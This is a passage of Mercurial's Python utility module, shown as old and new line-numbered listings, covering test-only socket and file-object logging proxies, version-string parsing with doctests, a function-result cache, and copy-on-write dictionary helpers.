571 r'write', *args, **kwargs)
570 r'write', *args, **kwargs)
572
571
573 def detach(self, *args, **kwargs):
572 def detach(self, *args, **kwargs):
574 return object.__getattribute__(self, r'_observedcall')(
573 return object.__getattribute__(self, r'_observedcall')(
575 r'detach', *args, **kwargs)
574 r'detach', *args, **kwargs)
576
575
577 def read1(self, *args, **kwargs):
576 def read1(self, *args, **kwargs):
578 return object.__getattribute__(self, r'_observedcall')(
577 return object.__getattribute__(self, r'_observedcall')(
579 r'read1', *args, **kwargs)
578 r'read1', *args, **kwargs)
580
579
581 class observedbufferedinputpipe(bufferedinputpipe):
580 class observedbufferedinputpipe(bufferedinputpipe):
582 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
581 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
583
582
584 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
583 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
585 bypass ``fileobjectproxy``. Because of this, we need to make
584 bypass ``fileobjectproxy``. Because of this, we need to make
586 ``bufferedinputpipe`` aware of these operations.
585 ``bufferedinputpipe`` aware of these operations.
587
586
588 This variation of ``bufferedinputpipe`` can notify observers about
587 This variation of ``bufferedinputpipe`` can notify observers about
589 ``os.read()`` events. It also re-publishes other events, such as
588 ``os.read()`` events. It also re-publishes other events, such as
590 ``read()`` and ``readline()``.
589 ``read()`` and ``readline()``.
591 """
590 """
592 def _fillbuffer(self):
591 def _fillbuffer(self):
593 res = super(observedbufferedinputpipe, self)._fillbuffer()
592 res = super(observedbufferedinputpipe, self)._fillbuffer()
594
593
595 fn = getattr(self._input._observer, r'osread', None)
594 fn = getattr(self._input._observer, r'osread', None)
596 if fn:
595 if fn:
597 fn(res, _chunksize)
596 fn(res, _chunksize)
598
597
599 return res
598 return res
600
599
601 # We use different observer methods because the operation isn't
600 # We use different observer methods because the operation isn't
602 # performed on the actual file object but on us.
601 # performed on the actual file object but on us.
603 def read(self, size):
602 def read(self, size):
604 res = super(observedbufferedinputpipe, self).read(size)
603 res = super(observedbufferedinputpipe, self).read(size)
605
604
606 fn = getattr(self._input._observer, r'bufferedread', None)
605 fn = getattr(self._input._observer, r'bufferedread', None)
607 if fn:
606 if fn:
608 fn(res, size)
607 fn(res, size)
609
608
610 return res
609 return res
611
610
612 def readline(self, *args, **kwargs):
611 def readline(self, *args, **kwargs):
613 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
612 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
614
613
615 fn = getattr(self._input._observer, r'bufferedreadline', None)
614 fn = getattr(self._input._observer, r'bufferedreadline', None)
616 if fn:
615 if fn:
617 fn(res)
616 fn(res)
618
617
619 return res
618 return res
620
619
621 PROXIED_SOCKET_METHODS = {
620 PROXIED_SOCKET_METHODS = {
622 r'makefile',
621 r'makefile',
623 r'recv',
622 r'recv',
624 r'recvfrom',
623 r'recvfrom',
625 r'recvfrom_into',
624 r'recvfrom_into',
626 r'recv_into',
625 r'recv_into',
627 r'send',
626 r'send',
628 r'sendall',
627 r'sendall',
629 r'sendto',
628 r'sendto',
630 r'setblocking',
629 r'setblocking',
631 r'settimeout',
630 r'settimeout',
632 r'gettimeout',
631 r'gettimeout',
633 r'setsockopt',
632 r'setsockopt',
634 }
633 }
635
634
636 class socketproxy(object):
635 class socketproxy(object):
637 """A proxy around a socket that tells a watcher when events occur.
636 """A proxy around a socket that tells a watcher when events occur.
638
637
639 This is like ``fileobjectproxy`` except for sockets.
638 This is like ``fileobjectproxy`` except for sockets.
640
639
641 This type is intended to only be used for testing purposes. Think hard
640 This type is intended to only be used for testing purposes. Think hard
642 before using it in important code.
641 before using it in important code.
643 """
642 """
644 __slots__ = (
643 __slots__ = (
645 r'_orig',
644 r'_orig',
646 r'_observer',
645 r'_observer',
647 )
646 )
648
647
649 def __init__(self, sock, observer):
648 def __init__(self, sock, observer):
650 object.__setattr__(self, r'_orig', sock)
649 object.__setattr__(self, r'_orig', sock)
651 object.__setattr__(self, r'_observer', observer)
650 object.__setattr__(self, r'_observer', observer)
652
651
653 def __getattribute__(self, name):
652 def __getattribute__(self, name):
654 if name in PROXIED_SOCKET_METHODS:
653 if name in PROXIED_SOCKET_METHODS:
655 return object.__getattribute__(self, name)
654 return object.__getattribute__(self, name)
656
655
657 return getattr(object.__getattribute__(self, r'_orig'), name)
656 return getattr(object.__getattribute__(self, r'_orig'), name)
658
657
659 def __delattr__(self, name):
658 def __delattr__(self, name):
660 return delattr(object.__getattribute__(self, r'_orig'), name)
659 return delattr(object.__getattribute__(self, r'_orig'), name)
661
660
662 def __setattr__(self, name, value):
661 def __setattr__(self, name, value):
663 return setattr(object.__getattribute__(self, r'_orig'), name, value)
662 return setattr(object.__getattribute__(self, r'_orig'), name, value)
664
663
665 def __nonzero__(self):
664 def __nonzero__(self):
666 return bool(object.__getattribute__(self, r'_orig'))
665 return bool(object.__getattribute__(self, r'_orig'))
667
666
668 __bool__ = __nonzero__
667 __bool__ = __nonzero__
669
668
670 def _observedcall(self, name, *args, **kwargs):
669 def _observedcall(self, name, *args, **kwargs):
671 # Call the original object.
670 # Call the original object.
672 orig = object.__getattribute__(self, r'_orig')
671 orig = object.__getattribute__(self, r'_orig')
673 res = getattr(orig, name)(*args, **kwargs)
672 res = getattr(orig, name)(*args, **kwargs)
674
673
675 # Call a method on the observer of the same name with arguments
674 # Call a method on the observer of the same name with arguments
676 # so it can react, log, etc.
675 # so it can react, log, etc.
677 observer = object.__getattribute__(self, r'_observer')
676 observer = object.__getattribute__(self, r'_observer')
678 fn = getattr(observer, name, None)
677 fn = getattr(observer, name, None)
679 if fn:
678 if fn:
680 fn(res, *args, **kwargs)
679 fn(res, *args, **kwargs)
681
680
682 return res
681 return res
683
682
684 def makefile(self, *args, **kwargs):
683 def makefile(self, *args, **kwargs):
685 res = object.__getattribute__(self, r'_observedcall')(
684 res = object.__getattribute__(self, r'_observedcall')(
686 r'makefile', *args, **kwargs)
685 r'makefile', *args, **kwargs)
687
686
688 # The file object may be used for I/O. So we turn it into a
687 # The file object may be used for I/O. So we turn it into a
689 # proxy using our observer.
688 # proxy using our observer.
690 observer = object.__getattribute__(self, r'_observer')
689 observer = object.__getattribute__(self, r'_observer')
691 return makeloggingfileobject(observer.fh, res, observer.name,
690 return makeloggingfileobject(observer.fh, res, observer.name,
692 reads=observer.reads,
691 reads=observer.reads,
693 writes=observer.writes,
692 writes=observer.writes,
694 logdata=observer.logdata,
693 logdata=observer.logdata,
695 logdataapis=observer.logdataapis)
694 logdataapis=observer.logdataapis)
696
695
697 def recv(self, *args, **kwargs):
696 def recv(self, *args, **kwargs):
698 return object.__getattribute__(self, r'_observedcall')(
697 return object.__getattribute__(self, r'_observedcall')(
699 r'recv', *args, **kwargs)
698 r'recv', *args, **kwargs)
700
699
701 def recvfrom(self, *args, **kwargs):
700 def recvfrom(self, *args, **kwargs):
702 return object.__getattribute__(self, r'_observedcall')(
701 return object.__getattribute__(self, r'_observedcall')(
703 r'recvfrom', *args, **kwargs)
702 r'recvfrom', *args, **kwargs)
704
703
705 def recvfrom_into(self, *args, **kwargs):
704 def recvfrom_into(self, *args, **kwargs):
706 return object.__getattribute__(self, r'_observedcall')(
705 return object.__getattribute__(self, r'_observedcall')(
707 r'recvfrom_into', *args, **kwargs)
706 r'recvfrom_into', *args, **kwargs)
708
707
709 def recv_into(self, *args, **kwargs):
708 def recv_into(self, *args, **kwargs):
710 return object.__getattribute__(self, r'_observedcall')(
709 return object.__getattribute__(self, r'_observedcall')(
711 r'recv_info', *args, **kwargs)
710 r'recv_info', *args, **kwargs)
712
711
713 def send(self, *args, **kwargs):
712 def send(self, *args, **kwargs):
714 return object.__getattribute__(self, r'_observedcall')(
713 return object.__getattribute__(self, r'_observedcall')(
715 r'send', *args, **kwargs)
714 r'send', *args, **kwargs)
716
715
717 def sendall(self, *args, **kwargs):
716 def sendall(self, *args, **kwargs):
718 return object.__getattribute__(self, r'_observedcall')(
717 return object.__getattribute__(self, r'_observedcall')(
719 r'sendall', *args, **kwargs)
718 r'sendall', *args, **kwargs)
720
719
721 def sendto(self, *args, **kwargs):
720 def sendto(self, *args, **kwargs):
722 return object.__getattribute__(self, r'_observedcall')(
721 return object.__getattribute__(self, r'_observedcall')(
723 r'sendto', *args, **kwargs)
722 r'sendto', *args, **kwargs)
724
723
725 def setblocking(self, *args, **kwargs):
724 def setblocking(self, *args, **kwargs):
726 return object.__getattribute__(self, r'_observedcall')(
725 return object.__getattribute__(self, r'_observedcall')(
727 r'setblocking', *args, **kwargs)
726 r'setblocking', *args, **kwargs)
728
727
729 def settimeout(self, *args, **kwargs):
728 def settimeout(self, *args, **kwargs):
730 return object.__getattribute__(self, r'_observedcall')(
729 return object.__getattribute__(self, r'_observedcall')(
731 r'settimeout', *args, **kwargs)
730 r'settimeout', *args, **kwargs)
732
731
733 def gettimeout(self, *args, **kwargs):
732 def gettimeout(self, *args, **kwargs):
734 return object.__getattribute__(self, r'_observedcall')(
733 return object.__getattribute__(self, r'_observedcall')(
735 r'gettimeout', *args, **kwargs)
734 r'gettimeout', *args, **kwargs)
736
735
737 def setsockopt(self, *args, **kwargs):
736 def setsockopt(self, *args, **kwargs):
738 return object.__getattribute__(self, r'_observedcall')(
737 return object.__getattribute__(self, r'_observedcall')(
739 r'setsockopt', *args, **kwargs)
738 r'setsockopt', *args, **kwargs)
740
739
741 class baseproxyobserver(object):
740 class baseproxyobserver(object):
742 def _writedata(self, data):
741 def _writedata(self, data):
743 if not self.logdata:
742 if not self.logdata:
744 if self.logdataapis:
743 if self.logdataapis:
745 self.fh.write('\n')
744 self.fh.write('\n')
746 self.fh.flush()
745 self.fh.flush()
747 return
746 return
748
747
749 # Simple case writes all data on a single line.
748 # Simple case writes all data on a single line.
750 if b'\n' not in data:
749 if b'\n' not in data:
751 if self.logdataapis:
750 if self.logdataapis:
752 self.fh.write(': %s\n' % stringutil.escapestr(data))
751 self.fh.write(': %s\n' % stringutil.escapestr(data))
753 else:
752 else:
754 self.fh.write('%s> %s\n'
753 self.fh.write('%s> %s\n'
755 % (self.name, stringutil.escapestr(data)))
754 % (self.name, stringutil.escapestr(data)))
756 self.fh.flush()
755 self.fh.flush()
757 return
756 return
758
757
759 # Data with newlines is written to multiple lines.
758 # Data with newlines is written to multiple lines.
760 if self.logdataapis:
759 if self.logdataapis:
761 self.fh.write(':\n')
760 self.fh.write(':\n')
762
761
763 lines = data.splitlines(True)
762 lines = data.splitlines(True)
764 for line in lines:
763 for line in lines:
765 self.fh.write('%s> %s\n'
764 self.fh.write('%s> %s\n'
766 % (self.name, stringutil.escapestr(line)))
765 % (self.name, stringutil.escapestr(line)))
767 self.fh.flush()
766 self.fh.flush()
768
767
769 class fileobjectobserver(baseproxyobserver):
768 class fileobjectobserver(baseproxyobserver):
770 """Logs file object activity."""
769 """Logs file object activity."""
771 def __init__(self, fh, name, reads=True, writes=True, logdata=False,
770 def __init__(self, fh, name, reads=True, writes=True, logdata=False,
772 logdataapis=True):
771 logdataapis=True):
773 self.fh = fh
772 self.fh = fh
774 self.name = name
773 self.name = name
775 self.logdata = logdata
774 self.logdata = logdata
776 self.logdataapis = logdataapis
775 self.logdataapis = logdataapis
777 self.reads = reads
776 self.reads = reads
778 self.writes = writes
777 self.writes = writes
779
778
780 def read(self, res, size=-1):
779 def read(self, res, size=-1):
781 if not self.reads:
780 if not self.reads:
782 return
781 return
783 # Python 3 can return None from reads at EOF instead of empty strings.
782 # Python 3 can return None from reads at EOF instead of empty strings.
784 if res is None:
783 if res is None:
785 res = ''
784 res = ''
786
785
787 if self.logdataapis:
786 if self.logdataapis:
788 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
787 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
789
788
790 self._writedata(res)
789 self._writedata(res)
791
790
792 def readline(self, res, limit=-1):
791 def readline(self, res, limit=-1):
793 if not self.reads:
792 if not self.reads:
794 return
793 return
795
794
796 if self.logdataapis:
795 if self.logdataapis:
797 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
796 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
798
797
799 self._writedata(res)
798 self._writedata(res)
800
799
801 def readinto(self, res, dest):
800 def readinto(self, res, dest):
802 if not self.reads:
801 if not self.reads:
803 return
802 return
804
803
805 if self.logdataapis:
804 if self.logdataapis:
806 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
805 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
807 res))
806 res))
808
807
809 data = dest[0:res] if res is not None else b''
808 data = dest[0:res] if res is not None else b''
810 self._writedata(data)
809 self._writedata(data)
811
810
812 def write(self, res, data):
811 def write(self, res, data):
813 if not self.writes:
812 if not self.writes:
814 return
813 return
815
814
816 # Python 2 returns None from some write() calls. Python 3 (reasonably)
815 # Python 2 returns None from some write() calls. Python 3 (reasonably)
817 # returns the integer bytes written.
816 # returns the integer bytes written.
818 if res is None and data:
817 if res is None and data:
819 res = len(data)
818 res = len(data)
820
819
821 if self.logdataapis:
820 if self.logdataapis:
822 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
821 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
823
822
824 self._writedata(data)
823 self._writedata(data)
825
824
826 def flush(self, res):
825 def flush(self, res):
827 if not self.writes:
826 if not self.writes:
828 return
827 return
829
828
830 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
829 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
831
830
832 # For observedbufferedinputpipe.
831 # For observedbufferedinputpipe.
833 def bufferedread(self, res, size):
832 def bufferedread(self, res, size):
834 if not self.reads:
833 if not self.reads:
835 return
834 return
836
835
837 if self.logdataapis:
836 if self.logdataapis:
838 self.fh.write('%s> bufferedread(%d) -> %d' % (
837 self.fh.write('%s> bufferedread(%d) -> %d' % (
839 self.name, size, len(res)))
838 self.name, size, len(res)))
840
839
841 self._writedata(res)
840 self._writedata(res)
842
841
843 def bufferedreadline(self, res):
842 def bufferedreadline(self, res):
844 if not self.reads:
843 if not self.reads:
845 return
844 return
846
845
847 if self.logdataapis:
846 if self.logdataapis:
848 self.fh.write('%s> bufferedreadline() -> %d' % (
847 self.fh.write('%s> bufferedreadline() -> %d' % (
849 self.name, len(res)))
848 self.name, len(res)))
850
849
851 self._writedata(res)
850 self._writedata(res)
852
851
853 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
852 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
854 logdata=False, logdataapis=True):
853 logdata=False, logdataapis=True):
855 """Turn a file object into a logging file object."""
854 """Turn a file object into a logging file object."""
856
855
857 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
856 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
858 logdata=logdata, logdataapis=logdataapis)
857 logdata=logdata, logdataapis=logdataapis)
859 return fileobjectproxy(fh, observer)
858 return fileobjectproxy(fh, observer)
860
859
861 class socketobserver(baseproxyobserver):
860 class socketobserver(baseproxyobserver):
862 """Logs socket activity."""
861 """Logs socket activity."""
863 def __init__(self, fh, name, reads=True, writes=True, states=True,
862 def __init__(self, fh, name, reads=True, writes=True, states=True,
864 logdata=False, logdataapis=True):
863 logdata=False, logdataapis=True):
865 self.fh = fh
864 self.fh = fh
866 self.name = name
865 self.name = name
867 self.reads = reads
866 self.reads = reads
868 self.writes = writes
867 self.writes = writes
869 self.states = states
868 self.states = states
870 self.logdata = logdata
869 self.logdata = logdata
871 self.logdataapis = logdataapis
870 self.logdataapis = logdataapis
872
871
873 def makefile(self, res, mode=None, bufsize=None):
872 def makefile(self, res, mode=None, bufsize=None):
874 if not self.states:
873 if not self.states:
875 return
874 return
876
875
877 self.fh.write('%s> makefile(%r, %r)\n' % (
876 self.fh.write('%s> makefile(%r, %r)\n' % (
878 self.name, mode, bufsize))
877 self.name, mode, bufsize))
879
878
880 def recv(self, res, size, flags=0):
879 def recv(self, res, size, flags=0):
881 if not self.reads:
880 if not self.reads:
882 return
881 return
883
882
884 if self.logdataapis:
883 if self.logdataapis:
885 self.fh.write('%s> recv(%d, %d) -> %d' % (
884 self.fh.write('%s> recv(%d, %d) -> %d' % (
886 self.name, size, flags, len(res)))
885 self.name, size, flags, len(res)))
887 self._writedata(res)
886 self._writedata(res)
888
887
889 def recvfrom(self, res, size, flags=0):
888 def recvfrom(self, res, size, flags=0):
890 if not self.reads:
889 if not self.reads:
891 return
890 return
892
891
893 if self.logdataapis:
892 if self.logdataapis:
894 self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
893 self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
895 self.name, size, flags, len(res[0])))
894 self.name, size, flags, len(res[0])))
896
895
897 self._writedata(res[0])
896 self._writedata(res[0])
898
897
899 def recvfrom_into(self, res, buf, size, flags=0):
898 def recvfrom_into(self, res, buf, size, flags=0):
900 if not self.reads:
899 if not self.reads:
901 return
900 return
902
901
903 if self.logdataapis:
902 if self.logdataapis:
904 self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
903 self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
905 self.name, size, flags, res[0]))
904 self.name, size, flags, res[0]))
906
905
907 self._writedata(buf[0:res[0]])
906 self._writedata(buf[0:res[0]])
908
907
909 def recv_into(self, res, buf, size=0, flags=0):
908 def recv_into(self, res, buf, size=0, flags=0):
910 if not self.reads:
909 if not self.reads:
911 return
910 return
912
911
913 if self.logdataapis:
912 if self.logdataapis:
914 self.fh.write('%s> recv_into(%d, %d) -> %d' % (
913 self.fh.write('%s> recv_into(%d, %d) -> %d' % (
915 self.name, size, flags, res))
914 self.name, size, flags, res))
916
915
917 self._writedata(buf[0:res])
916 self._writedata(buf[0:res])
918
917
919 def send(self, res, data, flags=0):
918 def send(self, res, data, flags=0):
920 if not self.writes:
919 if not self.writes:
921 return
920 return
922
921
923 self.fh.write('%s> send(%d, %d) -> %d' % (
922 self.fh.write('%s> send(%d, %d) -> %d' % (
924 self.name, len(data), flags, len(res)))
923 self.name, len(data), flags, len(res)))
925 self._writedata(data)
924 self._writedata(data)
926
925
927 def sendall(self, res, data, flags=0):
926 def sendall(self, res, data, flags=0):
928 if not self.writes:
927 if not self.writes:
929 return
928 return
930
929
931 if self.logdataapis:
930 if self.logdataapis:
932 # Returns None on success. So don't bother reporting return value.
931 # Returns None on success. So don't bother reporting return value.
933 self.fh.write('%s> sendall(%d, %d)' % (
932 self.fh.write('%s> sendall(%d, %d)' % (
934 self.name, len(data), flags))
933 self.name, len(data), flags))
935
934
936 self._writedata(data)
935 self._writedata(data)
937
936
938 def sendto(self, res, data, flagsoraddress, address=None):
937 def sendto(self, res, data, flagsoraddress, address=None):
939 if not self.writes:
938 if not self.writes:
940 return
939 return
941
940
942 if address:
941 if address:
943 flags = flagsoraddress
942 flags = flagsoraddress
944 else:
943 else:
945 flags = 0
944 flags = 0
946
945
947 if self.logdataapis:
946 if self.logdataapis:
948 self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
947 self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
949 self.name, len(data), flags, address, res))
948 self.name, len(data), flags, address, res))
950
949
951 self._writedata(data)
950 self._writedata(data)
952
951
953 def setblocking(self, res, flag):
952 def setblocking(self, res, flag):
954 if not self.states:
953 if not self.states:
955 return
954 return
956
955
957 self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
956 self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
958
957
959 def settimeout(self, res, value):
958 def settimeout(self, res, value):
960 if not self.states:
959 if not self.states:
961 return
960 return
962
961
963 self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
962 self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
964
963
965 def gettimeout(self, res):
964 def gettimeout(self, res):
966 if not self.states:
965 if not self.states:
967 return
966 return
968
967
969 self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
968 self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
970
969
971 def setsockopt(self, level, optname, value):
970 def setsockopt(self, level, optname, value):
972 if not self.states:
971 if not self.states:
973 return
972 return
974
973
975 self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
974 self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
976 self.name, level, optname, value))
975 self.name, level, optname, value))
977
976
978 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
977 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
979 logdata=False, logdataapis=True):
978 logdata=False, logdataapis=True):
980 """Turn a socket into a logging socket."""
979 """Turn a socket into a logging socket."""
981
980
982 observer = socketobserver(logh, name, reads=reads, writes=writes,
981 observer = socketobserver(logh, name, reads=reads, writes=writes,
983 states=states, logdata=logdata,
982 states=states, logdata=logdata,
984 logdataapis=logdataapis)
983 logdataapis=logdataapis)
985 return socketproxy(fh, observer)
984 return socketproxy(fh, observer)
986
985
987 def version():
986 def version():
988 """Return version information if available."""
987 """Return version information if available."""
989 try:
988 try:
990 from . import __version__
989 from . import __version__
991 return __version__.version
990 return __version__.version
992 except ImportError:
991 except ImportError:
993 return 'unknown'
992 return 'unknown'
994
993
995 def versiontuple(v=None, n=4):
994 def versiontuple(v=None, n=4):
996 """Parses a Mercurial version string into an N-tuple.
995 """Parses a Mercurial version string into an N-tuple.
997
996
998 The version string to be parsed is specified with the ``v`` argument.
997 The version string to be parsed is specified with the ``v`` argument.
999 If it isn't defined, the current Mercurial version string will be parsed.
998 If it isn't defined, the current Mercurial version string will be parsed.
1000
999
1001 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1000 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1002 returned values:
1001 returned values:
1003
1002
1004 >>> v = b'3.6.1+190-df9b73d2d444'
1003 >>> v = b'3.6.1+190-df9b73d2d444'
1005 >>> versiontuple(v, 2)
1004 >>> versiontuple(v, 2)
1006 (3, 6)
1005 (3, 6)
1007 >>> versiontuple(v, 3)
1006 >>> versiontuple(v, 3)
1008 (3, 6, 1)
1007 (3, 6, 1)
1009 >>> versiontuple(v, 4)
1008 >>> versiontuple(v, 4)
1010 (3, 6, 1, '190-df9b73d2d444')
1009 (3, 6, 1, '190-df9b73d2d444')
1011
1010
1012 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1011 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1013 (3, 6, 1, '190-df9b73d2d444+20151118')
1012 (3, 6, 1, '190-df9b73d2d444+20151118')
1014
1013
1015 >>> v = b'3.6'
1014 >>> v = b'3.6'
1016 >>> versiontuple(v, 2)
1015 >>> versiontuple(v, 2)
1017 (3, 6)
1016 (3, 6)
1018 >>> versiontuple(v, 3)
1017 >>> versiontuple(v, 3)
1019 (3, 6, None)
1018 (3, 6, None)
1020 >>> versiontuple(v, 4)
1019 >>> versiontuple(v, 4)
1021 (3, 6, None, None)
1020 (3, 6, None, None)
1022
1021
1023 >>> v = b'3.9-rc'
1022 >>> v = b'3.9-rc'
1024 >>> versiontuple(v, 2)
1023 >>> versiontuple(v, 2)
1025 (3, 9)
1024 (3, 9)
1026 >>> versiontuple(v, 3)
1025 >>> versiontuple(v, 3)
1027 (3, 9, None)
1026 (3, 9, None)
1028 >>> versiontuple(v, 4)
1027 >>> versiontuple(v, 4)
1029 (3, 9, None, 'rc')
1028 (3, 9, None, 'rc')
1030
1029
1031 >>> v = b'3.9-rc+2-02a8fea4289b'
1030 >>> v = b'3.9-rc+2-02a8fea4289b'
1032 >>> versiontuple(v, 2)
1031 >>> versiontuple(v, 2)
1033 (3, 9)
1032 (3, 9)
1034 >>> versiontuple(v, 3)
1033 >>> versiontuple(v, 3)
1035 (3, 9, None)
1034 (3, 9, None)
1036 >>> versiontuple(v, 4)
1035 >>> versiontuple(v, 4)
1037 (3, 9, None, 'rc+2-02a8fea4289b')
1036 (3, 9, None, 'rc+2-02a8fea4289b')
1038
1037
1039 >>> versiontuple(b'4.6rc0')
1038 >>> versiontuple(b'4.6rc0')
1040 (4, 6, None, 'rc0')
1039 (4, 6, None, 'rc0')
1041 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1040 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1042 (4, 6, None, 'rc0+12-425d55e54f98')
1041 (4, 6, None, 'rc0+12-425d55e54f98')
1043 >>> versiontuple(b'.1.2.3')
1042 >>> versiontuple(b'.1.2.3')
1044 (None, None, None, '.1.2.3')
1043 (None, None, None, '.1.2.3')
1045 >>> versiontuple(b'12.34..5')
1044 >>> versiontuple(b'12.34..5')
1046 (12, 34, None, '..5')
1045 (12, 34, None, '..5')
1047 >>> versiontuple(b'1.2.3.4.5.6')
1046 >>> versiontuple(b'1.2.3.4.5.6')
1048 (1, 2, 3, '.4.5.6')
1047 (1, 2, 3, '.4.5.6')
1049 """
1048 """
1050 if not v:
1049 if not v:
1051 v = version()
1050 v = version()
1052 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
1051 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
1053 if not m:
1052 if not m:
1054 vparts, extra = '', v
1053 vparts, extra = '', v
1055 elif m.group(2):
1054 elif m.group(2):
1056 vparts, extra = m.groups()
1055 vparts, extra = m.groups()
1057 else:
1056 else:
1058 vparts, extra = m.group(1), None
1057 vparts, extra = m.group(1), None
1059
1058
1060 vints = []
1059 vints = []
1061 for i in vparts.split('.'):
1060 for i in vparts.split('.'):
1062 try:
1061 try:
1063 vints.append(int(i))
1062 vints.append(int(i))
1064 except ValueError:
1063 except ValueError:
1065 break
1064 break
1066 # (3, 6) -> (3, 6, None)
1065 # (3, 6) -> (3, 6, None)
1067 while len(vints) < 3:
1066 while len(vints) < 3:
1068 vints.append(None)
1067 vints.append(None)
1069
1068
1070 if n == 2:
1069 if n == 2:
1071 return (vints[0], vints[1])
1070 return (vints[0], vints[1])
1072 if n == 3:
1071 if n == 3:
1073 return (vints[0], vints[1], vints[2])
1072 return (vints[0], vints[1], vints[2])
1074 if n == 4:
1073 if n == 4:
1075 return (vints[0], vints[1], vints[2], extra)
1074 return (vints[0], vints[1], vints[2], extra)
1076
1075
1077 def cachefunc(func):
1076 def cachefunc(func):
1078 '''cache the result of function calls'''
1077 '''cache the result of function calls'''
1079 # XXX doesn't handle keywords args
1078 # XXX doesn't handle keywords args
1080 if func.__code__.co_argcount == 0:
1079 if func.__code__.co_argcount == 0:
1081 cache = []
1080 cache = []
1082 def f():
1081 def f():
1083 if len(cache) == 0:
1082 if len(cache) == 0:
1084 cache.append(func())
1083 cache.append(func())
1085 return cache[0]
1084 return cache[0]
1086 return f
1085 return f
1087 cache = {}
1086 cache = {}
1088 if func.__code__.co_argcount == 1:
1087 if func.__code__.co_argcount == 1:
1089 # we gain a small amount of time because
1088 # we gain a small amount of time because
1090 # we don't need to pack/unpack the list
1089 # we don't need to pack/unpack the list
1091 def f(arg):
1090 def f(arg):
1092 if arg not in cache:
1091 if arg not in cache:
1093 cache[arg] = func(arg)
1092 cache[arg] = func(arg)
1094 return cache[arg]
1093 return cache[arg]
1095 else:
1094 else:
1096 def f(*args):
1095 def f(*args):
1097 if args not in cache:
1096 if args not in cache:
1098 cache[args] = func(*args)
1097 cache[args] = func(*args)
1099 return cache[args]
1098 return cache[args]
1100
1099
1101 return f
1100 return f
1102
1101
1103 class cow(object):
1102 class cow(object):
1104 """helper class to make copy-on-write easier
1103 """helper class to make copy-on-write easier
1105
1104
1106 Call preparewrite before doing any writes.
1105 Call preparewrite before doing any writes.
1107 """
1106 """
1108
1107
1109 def preparewrite(self):
1108 def preparewrite(self):
1110 """call this before writes, return self or a copied new object"""
1109 """call this before writes, return self or a copied new object"""
1111 if getattr(self, '_copied', 0):
1110 if getattr(self, '_copied', 0):
1112 self._copied -= 1
1111 self._copied -= 1
1113 return self.__class__(self)
1112 return self.__class__(self)
1114 return self
1113 return self
1115
1114
1116 def copy(self):
1115 def copy(self):
1117 """always do a cheap copy"""
1116 """always do a cheap copy"""
1118 self._copied = getattr(self, '_copied', 0) + 1
1117 self._copied = getattr(self, '_copied', 0) + 1
1119 return self
1118 return self
1120
1119
1121 class sortdict(collections.OrderedDict):
1120 class sortdict(collections.OrderedDict):
1122 '''a simple sorted dictionary
1121 '''a simple sorted dictionary
1123
1122
1124 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1123 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1125 >>> d2 = d1.copy()
1124 >>> d2 = d1.copy()
1126 >>> d2
1125 >>> d2
1127 sortdict([('a', 0), ('b', 1)])
1126 sortdict([('a', 0), ('b', 1)])
1128 >>> d2.update([(b'a', 2)])
1127 >>> d2.update([(b'a', 2)])
1129 >>> list(d2.keys()) # should still be in last-set order
1128 >>> list(d2.keys()) # should still be in last-set order
1130 ['b', 'a']
1129 ['b', 'a']
1131 '''
1130 '''
1132
1131
1133 def __setitem__(self, key, value):
1132 def __setitem__(self, key, value):
1134 if key in self:
1133 if key in self:
1135 del self[key]
1134 del self[key]
1136 super(sortdict, self).__setitem__(key, value)
1135 super(sortdict, self).__setitem__(key, value)
1137
1136
1138 if pycompat.ispypy:
1137 if pycompat.ispypy:
1139 # __setitem__() isn't called as of PyPy 5.8.0
1138 # __setitem__() isn't called as of PyPy 5.8.0
1140 def update(self, src):
1139 def update(self, src):
1141 if isinstance(src, dict):
1140 if isinstance(src, dict):
1142 src = src.iteritems()
1141 src = src.iteritems()
1143 for k, v in src:
1142 for k, v in src:
1144 self[k] = v
1143 self[k] = v
1145
1144
1146 class cowdict(cow, dict):
1145 class cowdict(cow, dict):
1147 """copy-on-write dict
1146 """copy-on-write dict
1148
